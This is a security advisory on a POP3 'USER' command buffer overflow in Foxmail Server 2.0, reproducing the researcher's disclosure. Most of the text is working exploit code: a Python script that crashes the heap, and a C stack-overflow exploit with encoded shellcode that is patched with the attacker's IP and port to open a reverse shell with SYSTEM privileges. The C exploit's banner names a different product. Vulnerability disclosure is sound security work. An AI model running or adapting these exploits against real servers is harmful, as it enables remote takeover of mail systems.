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Category:   Application (E-mail Server)  >   Foxmail Vendors:   foxmail.com.cn
Foxmail Server Buffer Overflow in USER Command Lets Remote Users Execute Arbitrary Code
SecurityTracker Alert ID:  1013356
SecurityTracker URL:  http://securitytracker.com/id/1013356
CVE Reference:   GENERIC-MAP-NOMATCH   (Links to External Site)
Date:  Mar 2 2005
Impact:   Denial of service via network, Execution of arbitrary code via network, Root access via network
Exploit Included:  Yes  
Version(s): 2.0
Description:   Some vulnerabilities were reported in Foxmail Server. A remote user can execute arbitrary code on the target system.

The POP server does not properly validate user-supplied input in the 'USER' command. A remote user can supply a specially crafted USER command to trigger a buffer overflow and execute arbitrary code with System privileges.

A remote user can also send a USER command containing format string characters to cause the target service to crash.

xouyang from Fortinet, inc reported this vulnerability.

Impact:   A remote user can cause the target service to crash.

A remote user can execute arbitrary code on the target system with System privileges.

Solution:   No solution was available at the time of this entry.
Vendor URL:  fox.foxmail.com.cn/ (Links to External Site)
Cause:   Boundary error, Input validation error, State error
Underlying OS:  Linux (Any), Windows (Any)
Underlying OS Comments:  Tested only on Windows

Message History:   None.


 Source Message Contents

Subject:  Foxmail server "USER" command Multiple remote buffer overflow




AUTHOR:
(Fortinet, inc)
xouyang<xouyang_at_fortinet.com> <oyxin@segfault.cn>

PRODUCTS:
    Foxmail Server. A Mail server for both Windows and linux.

AFFECTED VERSION:
    Foxmail server for windows version 2.0 (latest). I've just tested windows server, the linux version may be vulnerable too.

Description:
    Foxmail-the Email client application is the most famous software product in China. Chinese version is sold to more than 3 million
 users and English version to over 20 countries. It is listed as "Top Ten Domestic Software" and evaluated as "5 Star Software" by
 ZDNET.
    BODA s NT/Linux-based email server system is featured by stability, security, ease of installation and maintenance, rich functions.
 Different versions of product can meet the varied needs ranging from small/medium- sized enterprises to ISPs/ICPs/ASPs.

DOWNLOAD:
    http://www.foxmail.com.cn/english/english_3.htm
    http://fox.foxmail.com.cn/cgi/download/nt/nph-install_nt.cgi

Detail:
    A vulnerabilities have been identified in Foxmail server, which can be exploited by malicious people to cause a DoS (Denial of
 Service) or maybe compromise a vulnerable server.

    The vulnerabilities are caused due to boundary errors in the handling of the "USER " commands in POP server. A malicious person
 can exploit this by supplying a long, specially crafted argument to the vulnerable commands, which will result in a buffer overflow.

    1.Heap overflow
    Send a long username and recv the packet will cause a heap overflow.
    00401BEA  |.  8902                mov     dword ptr ds:[edx], eax
    00401BEC  |.  8950 04             mov     dword ptr ds:[eax+4], edx

    EAX = 41414141
    EBX = 41414141 

    Successful exploitation will allow remote execution of arbitrary code with SYSTEM privileges.
     
    2.format string
    Sending a username like "%n%n" cause a DOS attach.

    3.stack overflow.
    Successful exploitation will allow remote execution of arbitrary code with SYSTEM privileges. Swan provides an exploit to test
 this bug.


FOXmail POC exploit:
1.heap overflow
#!/usr/bin/python
#Code by OYXin
#oyxin_at_segfault.cn
import socket
import sys
import getopt


def usage():
    print "Usage: foxserver.py -h host -p port"
    sys.exit(0)
    
if __name__ == '__main__':
    
    try: 
        opts, args = getopt.getopt(sys.argv[1:], "h:p:") 
    except getopt.GetoptError, msg: 
        print msg
        usage()
        
    for o,a in opts:
        if o in ["-h"]:
            host = a
        if o in ["-p"]:
            port = int(a)

    evilbuf =  "USER " + "A"*5000 + "\r\n"
    evilbuf2 = "PASS oyxin\r\n"
    evilbuf2 += "STAT\r\n"
    evilbuf2 += "RSET\r\n"
    evilbuf2 += "QUIT\r\n"
    
    try:
        sockfd = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sockfd.connect((host, port))
        recvbuf = sockfd.recv(1024)
        print `recvbuf`
        sockfd.send(evilbuf)
        recvbuf = sockfd.recv(1024)
        print `recvbuf`
        sockfd.send(evilbuf2)
    except socket.error, msg:
        print msg
        
    sockfd.close()

2.stack overflow
#Code by Swan(swan@0x557.org)
#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#include <conio.h>

#pragma comment (lib,"ws2_32")

#define PORT_OFFSET  118
#define IP_OFFSET    111

char Shellcode[] =	"\xEB\x10\x5B\x4B\x33\xC9\x66\xB9\x25\x01\x80\x34\x0B\x99\xE2\xFA"
					"\xEB\x05\xE8\xEB\xFF\xFF\xFF"
					"\x70\x62\x99\x99\x99\xC6\xFD\x38\xA9\x99\x99\x99\x12\xD9\x95\x12"
					"\xE9\x85\x34\x12\xF1\x91\x12\x6E\xF3\x9D\xC0\x71\x02\x99\x99\x99"
					"\x7B\x60\xF1\xAA\xAB\x99\x99\xF1\xEE\xEA\xAB\xC6\xCD\x66\x8F\x12"
					"\x71\xF3\x9D\xC0\x71\x1B\x99\x99\x99\x7B\x60\x18\x75\x09\x98\x99"
					"\x99\xCD\xF1\x98\x98\x99\x99\x66\xCF\x89\xC9\xC9\xC9\xC9\xD9\xC9"
					"\xD9\xC9\x66\xCF\x8D\x12\x41\xF1\xE6\x99\x99\x98\xF1\x9B\x99\x99"
					"\xAC\x12\x55\xF3\x89\xC8\xCA\x66\xCF\x81\x1C\x59\xEC\xD3\xF1\xFA"
					"\xF4\xFD\x99\x10\xFF\xA9\x1A\x75\xCD\x14\xA5\xBD\xF3\x8C\xC0\x32"
					"\x7B\x64\x5F\xDD\xBD\x89\xDD\x67\xDD\xBD\xA4\x10\xC5\xBD\xD1\x10"
					"\xC5\xBD\xD5\x10\xC5\xBD\xC9\x14\xDD\xBD\x89\xCD\xC9\xC8\xC8\xC8"
					"\xF3\x98\xC8\xC8\x66\xEF\xA9\xC8\x66\xCF\x9D\x12\x55\xF3\x66\x66"
					"\xA8\x66\xCF\x91\xCA\x66\xCF\x85\x66\xCF\x95\xC8\xCF\x12\xDC\xA5"
					"\x12\xCD\xB1\xE1\x9A\x4C\xCB\x12\xEB\xB9\x9A\x6C\xAA\x50\xD0\xD8"
					"\x34\x9A\x5C\xAA\x42\x96\x27\x89\xA3\x4F\xED\x91\x58\x52\x94\x9A"
					"\x43\xD9\x72\x68\xA2\x86\xEC\x7E\xC3\x12\xC3\xBD\x9A\x44\xFF\x12"
					"\x95\xD2\x12\xC3\x85\x9A\x44\x12\x9D\x12\x9A\x5C\x32\xC7\xC0\x5A"
					"\x71\x99\x66\x66\x66\x17\xD7\x97\x75\xEB\x67\x2A\x8F\x34\x40\x9C"
					"\x57\xE7\x41\x7B\xEA\x52\x74\x65\xA2\x40\x90\x6C\x34\x75\x60\x33"
					"\xF9\x7E\xE0\x5F\xE0";

char szUser[]	=	"user 1231231231231234567890abcdefghijklmnopqrstuvwxyz1234567890a"
					"bcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz123"
					"4567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijkklmnopqrst"
					"uvwxyz1234567890abcdefghijkklmnopqrstuvwxyz1234567890abcdAAAAijk"
					"lmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abc"
					"defghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz12345"
					"67890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvw"
					"xyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmno"
					"pqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefg"
					"hijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz123456789"
					"0abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1"
					"234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrs"
					"tuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijk"
					"lmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abc"
					"defghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz12345"
					"67890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmnopqrstuvw"
					"xyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefghijklmno"
					"pqrstuvwxyz1234567890abcdefghijklmnopqrstuvwxyz1234567890abcdefg"
					"hijklmnopqrstuvwxyz\r\n";
unsigned char szPass[] = "pass siglos\r\n";



void help(char *program)
{
	printf ("========================================================\r\n");
	printf ("Aerofox Mail Server 1.1.0.1 POP3 Temp Dir Stack Overflow\r\n");
	printf ("========================================================\r\n\r\n");
	printf ("Usage: %s <Host> <Your IP> <Your port>\r\n", program);
	printf ("e.g.:\r\n");
	printf ("     %s 127.0.0.1 202.119.9.42 8111\r\n", program);
	printf ("\r\n  The ret address is 0x7ffa1571.\r\n");
	exit(0);
}

SOCKET Connect(char *u_host ,unsigned short u_port)
{
	WSADATA wsaData;
	SOCKET sock;
	struct hostent *r;
	struct sockaddr_in r_addr;
	int timeout = 1000;

	if(WSAStartup(0x0101,&wsaData) != 0)
	{
		printf("error starting winsock..");
		return -1;
	}
	if((r=gethostbyname(u_host))== NULL)
	{
		return -1 ;
	}
	if((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))== INVALID_SOCKET)
	{
		return -1 ;
	}
	r_addr.sin_family=AF_INET;
	r_addr.sin_port=htons(u_port);
	r_addr.sin_addr=*((struct in_addr*)r->h_addr);

	if(connect(sock,(struct sockaddr *)&r_addr,sizeof(r_addr))==SOCKET_ERROR)
	{
		printf("Can't connect\n");
		exit(-1);
	}
	setsockopt(sock, SOL_SOCKET, SO_RCVTIMEO, (char*)&timeout,sizeof(timeout));
	return(sock);
}

void Disconnect(SOCKET s)
{
	closesocket(s);
	WSACleanup();
}

void tr(SOCKET s)
{
	char buff[1500];
	memset(buff, 0, sizeof(buff));
	recv(s, buff, sizeof(buff), 0);
	printf("%s\r\n",buff);
}

void SlowSend(SOCKET s, char *buf, int p)
{
	//send(s, buf, sizeof(buf),0);
	//send(s, "\r\n", 2,0);
	for(unsigned int i = 0; i < strlen(buf); i++)
	{
		Sleep(p);
		printf("%c", buf[i]);
		send(s, (char*)&(buf[i]), 1, 0);
	}
}

void main(int argc, char *argv[])
{
	/*_asm{
		mov		eax,90909091h
		dec		eax
	a:	dec		ebx
		cmp		[ebx], eax
		jnz		a
		push	ebx
		ret
	}*/
	if(argc != 4)
		help(argv[0]);

	unsigned short    port;
    unsigned long     ip;

    port = htons(atoi(argv[3]))^(USHORT)0x9999;
    ip = inet_addr(argv[2])^(ULONG)0x99999999;
    memcpy(&Shellcode[PORT_OFFSET], &port, 2);
    memcpy(&Shellcode[IP_OFFSET], &ip, 4);

	SOCKET s = Connect(argv[1], 110);
	tr(s);
	memcpy(szUser + 244, "\xCC\x90\xEB\x04\x71\x15\xFA\x7F", 8);
	memcpy(szUser + 244 + 8,  "\xB8\x91\x90\x90\x90\x48\x4B\x39\x03\x75\xFB\x53\xC3\x90\x90\x90\x90", 17);
	memcpy(szUser + 244 + 8 + 17, Shellcode, sizeof(Shellcode) - 1);

	SlowSend(s, (char*)szUser, 1);
	getch();
	tr(s);
	SlowSend(s, (char*)szPass, 100);
	tr(s);
	Disconnect(s);
	return;
}

THANKS:
    Thanks swan for providing his cool exploit.

 
 


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